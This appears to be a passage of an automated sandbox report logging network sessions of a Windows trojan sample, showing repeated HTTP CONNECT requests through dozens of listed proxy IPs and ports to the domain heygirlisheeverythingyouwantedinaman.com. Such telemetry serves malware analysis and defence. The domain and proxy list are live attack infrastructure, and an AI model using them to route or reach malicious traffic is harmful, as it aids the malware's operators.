Feb 23, 2024 14:28:30.286295891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.565830946 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.8	50353	153.127.194.62	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.286371946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.288738966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.382647038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.492213964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.8	53334	199.58.184.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.290559053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.8	53359	31.43.179.160	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.317356110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.404742002 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.8	53367	104.17.9.114	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.317552090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.405576944 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.8	52388	154.12.253.232	62276	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.317620039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.882675886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.8	53370	172.67.209.12	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.335987091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.424139023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.8	50627	12.218.209.130	53281	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.366736889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.491837025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.491924047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.492347002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.8	53127	103.235.66.198	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.372476101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.8	53316	8.213.129.15	8060	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.388993979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.690949917 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.8	53317	8.213.137.155	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.400141001 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:32.712311029 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.8	53315	103.118.46.174	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.429761887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.8	53399	104.17.50.45	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.461728096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.549343109 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.8	53347	47.242.15.120	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.480834961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.8	53342	47.243.205.1	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.481770992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.8	53344	42.98.10.34	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.488106966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.803858995 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:27:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.8	53340	171.248.219.108	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.498886108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.8	52435	161.97.163.52	34916	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.525365114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.615677118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.693424940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.695167065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.8	52823	81.70.253.152	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.525803089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.8	53414	172.67.182.107	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.534403086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.621341944 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.8	50521	117.54.114.35	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.585134983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.8	53380	200.41.148.2	12000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.645797968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.8	50177	103.69.87.142	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.645944118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.679408073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.695164919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.789071083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.113698959 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.8	53383	45.138.87.238	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.645945072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.8	52611	23.92.223.122	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.662798882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.8	53371	58.234.116.197	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.662798882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.8	53382	45.11.95.165	6049	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.670679092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.8	50853	107.180.101.18	33302	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.670885086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.679430962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.8	53390	79.110.196.145	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.670926094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.8	53363	42.200.196.208	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.672563076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.8	53442	5.161.98.204	3240	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.672821999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991801023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.382693052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.194976091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.8	53396	44.226.167.102	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.685017109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.8	50806	212.110.188.189	34405	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.685101032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.788775921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.882608891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.992188931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.991708040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.8	50855	165.227.0.192	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.714757919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.785711050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820635080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.898319006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.991672039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
